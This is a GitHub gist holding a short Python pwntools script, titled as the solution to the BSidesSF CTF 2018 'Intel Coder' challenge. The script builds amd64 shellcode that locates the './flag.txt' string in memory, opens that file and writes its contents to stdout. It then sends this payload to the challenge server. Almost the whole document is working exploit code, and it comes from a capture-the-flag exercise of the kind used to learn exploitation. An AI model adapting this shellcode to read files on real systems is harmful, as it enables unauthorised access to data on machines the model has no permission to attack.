Skip to content

Instantly share code, notes, and snippets.

@vitapluvia

vitapluvia/intel-coder-client.py

Created April 26, 2018 04:06
Show Gist options
  • Save vitapluvia/e21126cc434a5a5f942e7b39e599cc65 to your computer and use it in GitHub Desktop.
Save vitapluvia/e21126cc434a5a5f942e7b39e599cc65 to your computer and use it in GitHub Desktop.
Download ZIP
BSidesSF CTF 2018 - Intel Coder Solution
Raw
intel-coder-client.py
#!/usr/bin/env python
from pwn import *
if args.LOCAL:
p = process(['./coder'])
else:
p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)
context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')
# Finding Flag:
# pwndbg> x/s $rdx+0x9298
# 0x7f8d9d216428: "./flag.txt"
getFlagAddr = 'add rdx, 0x9298; mov rax, rdx;'
o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)
payload = asm(getFlagAddr) + asm(o) + asm(s)
payload = '{}\n{}\n'.format(len(payload), payload)
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment